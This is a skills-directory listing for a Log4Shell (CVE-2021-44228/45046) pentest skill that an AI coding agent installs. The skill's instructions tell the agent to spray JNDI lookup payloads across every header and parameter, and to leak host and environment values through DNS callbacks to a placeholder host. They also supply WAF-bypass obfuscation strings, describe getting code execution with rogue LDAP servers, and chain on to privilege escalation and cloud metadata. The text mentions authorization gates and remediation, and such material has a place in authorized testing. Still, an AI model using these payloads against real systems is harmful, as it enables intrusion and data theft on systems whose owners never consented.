Skip to content
Back to skills

Log4shell

ASecurity

Log4Shell (CVE-2021-44228 / CVE-2021-45046) Log4j2 JNDI injection — inject JNDI lookups into any logged field (params, ALL headers, UA, X-Forwarded-For, auth), detect via OAST, and bypass WAFs with nested lookups. Tier 1 (RCE honors the authorization gate). Use on Java targets or when framework-rce routes here.

  • 16 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added November 17, 2026
securityjavashellapibackend

Works with

  • cli
  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill log4shell --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Log4shell?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Log4shell
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-log4shell/badge)](https://www.skillsdirectory.com/skills/anandjogawade-log4shell)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: log4shell
description: Log4Shell (CVE-2021-44228 / CVE-2021-45046) Log4j2 JNDI injection — inject JNDI lookups into any logged field (params, ALL headers, UA, X-Forwarded-For, auth), detect via OAST, and bypass WAFs with nested lookups. Tier 1 (RCE honors the authorization gate). Use on Java targets or when framework-rce routes here.
---

# Log4Shell (CVE-2021-44228 / CVE-2021-45046)

Log4j2 evaluates `${jndi:...}` lookups in any string it logs, fetching and executing attacker code. The bug is in what gets *logged*, so the injection point is any field the app records — often headers the UI never shows.

## Trigger phrases
`log4shell, log4j, cve-2021-44228, cve-2021-45046, jndi, jndi:ldap, ${jndi}, java logging rce`

## Preconditions
Log4j2 **2.0-beta9 through 2.14.1** (44228); 2.15.0 incomplete fix → **CVE-2021-45046** (fixed 2.16.0; 2.17.0 fixes 45105 DoS). Target must log attacker-controlled input and reach a JNDI endpoint (egress for LDAP/DNS).

## Method
1. **OAST-first detection (safe):** fire a DNS/LDAP-callback payload into every logged field; a callback from the target proves it without delivering a payload. Use a unique subdomain per injection point to localize the sink.
   ```
   ${jndi:ldap://<id>.OAST/a}        ${jndi:dns://<id>.OAST/a}
   ```
2. **Enumerate injection points (`${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md`)** — spray the payload across: query/body params, JSON keys, **all headers** (`User-Agent`, `Referer`, `X-Forwarded-For`, `X-Api-Version`, `Authorization` basic value, `Cookie`), username/login fields, filenames, and any value echoed into logs.
   ```
   X-Api-Version: ${jndi:ldap://${hostName}.<id>.OAST/a}
   ```
   `${hostName}`/`${env:USER}`/`${sys:java.version}` exfiltrate host info in the DNS label.
3. **Confirm exploit path (gated):** stand up `JNDIExploit`/`rogue-jndi`/`marshalsec` LDAP+HTTP on your box; a vulnerable client fetches the serialized gadget. Prove exec with a benign command (`nslookup token.OAST`), not a live shell on prod.

## Modern / rare techniques
- **WAF-bypass nesting / lookups** (`${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`): `${${::-j}${::-n}${::-d}${::-i}:...}`, `${jndi:${lower:l}${lower:d}a${lower:p}://...}`, `${${env:FOO:-j}ndi...}`, `${base64:...}`.
- **Beyond `ldap`:** `rmi`, `dns`, `nis`, `iiop`, `corba`, `nds`. DNS/LDAP callback still fires even where gadget fetch is blocked → use as the detection oracle.
- **45046** — non-default pattern layouts (`${ctx:...}`/Thread Context Map) remained exploitable on 2.15.0 → still test 2.15.0 targets.
- **Asynchronous callbacks:** the log may be processed by a downstream system minutes later — keep the OAST listener open.

## Escalation / chaining
JNDI RCE → `linux-privesc`/`windows-privesc`, secret read, `cloud-pentest` (IMDS). Info-leak-only (DNS callback, no gadget) still reportable as confirmed Log4Shell exposure.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). interactsh/Collaborator for OAST; `nuclei -tags log4j`; Burp "Log4Shell" scan + Repeater for header spraying. See `zazy-orchestrator`.

## Verification (background, before reporting)
A DNS/LDAP callback from the target IP is the confirmation; re-fire from a second vantage/encoding and reproduce. For blind targets rely on OAST before concluding negative. Report true positives only.

## Evidence
The payload, the injection point (which header/param), OAST callback log showing target source IP (and any exfiltrated `${hostName}`), confirmed Log4j version if obtainable. Remediation: upgrade Log4j2 ≥2.17.1, remove `JndiLookup` class, set `log4j2.formatMsgNoLookups=true` (partial), egress-filter JNDI.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.